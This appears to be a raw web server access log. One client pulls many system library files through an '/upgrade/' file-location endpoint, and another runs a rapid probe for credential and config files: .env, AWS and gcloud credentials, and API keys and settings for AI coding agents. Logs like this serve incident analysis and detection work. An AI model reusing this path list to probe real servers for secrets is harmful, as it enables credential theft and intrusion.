45.135.193.11 - - [11/Sep/2026:22:57:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstreamer-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 709672 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstreamer-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:58 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Frpm-plugins HTTP/1.1" 200 6227 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Frpm-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcanberra-gtk.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 111687 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcanberra-gtk.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkrad.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119807 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkrad.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfreebl3.chk&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103673 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfreebl3.chk&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre16.so.0.2.12&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 294920 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre16.so.0.2.12&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibperl.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1372144 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibperl.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibverto.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 114305 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibverto.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibauparse.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 169739 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibauparse.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibssh.so.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 321044 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibssh.so.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 118670 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-composite.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107914 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-composite.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmm-glib.so.0.9.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 486489 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmm-glib.so.0.9.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebpdemux.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 112738 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebpdemux.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-sync.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 112733 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-sync.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxml2.so.2.9.13&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 866292 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxml2.so.2.9.13&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXrender.so.1.3.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 122851 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXrender.so.1.3.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfstrm.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 123955 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfstrm.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:05 -0400] "GET / HTTP/1.1" 200 14719 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcp.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 481576 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcp.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:05 -0400] "GET /.claude/.credentials.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:05 -0400] "GET /credentials.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:05 -0400] "GET /.credentials.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibssl.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 560449 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibssl.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:06 -0400] "GET /.claude/settings.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:06 -0400] "GET /.claude/settings.local.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwayland-cursor.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 114288 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwayland-cursor.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibOpenEXRUtil-3_1.so.30.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 177075 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibOpenEXRUtil-3_1.so.30.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:07 -0400] "GET /.claude.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcomposefs.so.1.4.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 135205 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcomposefs.so.1.4.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:07 -0400] "GET /.claude/config.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdcerpc-server-core.so.0.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 138565 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdcerpc-server-core.so.0.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:08 -0400] "GET /.anthropic/api_key HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:08 -0400] "GET /.anthropic/config.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibexempi.so.8&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 713049 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibexempi.so.8&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:08 -0400] "GET /.config/anthropic/config.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:08 -0400] "GET /.claude/history.jsonl HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnss_dns.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106200 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnss_dns.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:09 -0400] "GET /CLAUDE.md HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtevent.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 144593 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtevent.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:09 -0400] "GET /.claude/CLAUDE.md HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:09 -0400] "GET /AGENTS.md HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-dpms.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107991 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-dpms.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:10 -0400] "GET /.cursorrules HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:10 -0400] "GET /.windsurfrules HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXau.so.6.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109887 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXau.so.6.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:10 -0400] "GET /.clinerules HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:10 -0400] "GET /.env HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgcrypt.so.20&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 628999 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgcrypt.so.20&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:11 -0400] "GET /.env.local HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:11 -0400] "GET /.env.production HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibharfbuzz-gobject.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 131806 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibharfbuzz-gobject.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:11 -0400] "GET /.env.development HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnss_myhostname.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 162009 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnss_myhostname.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:11 -0400] "GET /.env.backup HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:12 -0400] "GET /.openclaw/openclaw.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpsl.so.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 153686 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpsl.so.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:12 -0400] "GET /.gemini/oauth_creds.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:12 -0400] "GET /.gemini/settings.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:12 -0400] "GET /.codex/auth.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibraw.so.23&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 495461 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibraw.so.23&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:12 -0400] "GET /.config/gcloud/application_default_credentials.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:13 -0400] "GET /.config/gcloud/access_tokens.db HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:13 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fgtk-3.0 HTTP/1.1" 200 6082 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fgtk-3.0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:13 -0400] "GET /.config/gcloud/credentials.db HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:13 -0400] "GET /.config/gemini/config.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fgcrt1.o&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 105018 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fgcrt1.o&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:13 -0400] "GET /.aws/credentials HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:13 -0400] "GET /.aws/config HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcupsimage.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107444 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcupsimage.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:14 -0400] "GET /.aws/sso/cache/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:14 -0400] "GET /.aws/credentials.backup HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfontenc.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 115588 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfontenc.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:14 -0400] "GET /.aws/credentials.bak HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:58:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgudev-1.0.so.0.3.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 121064 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgudev-1.0.so.0.3.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:58:14 -0400] "GET /.boto HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
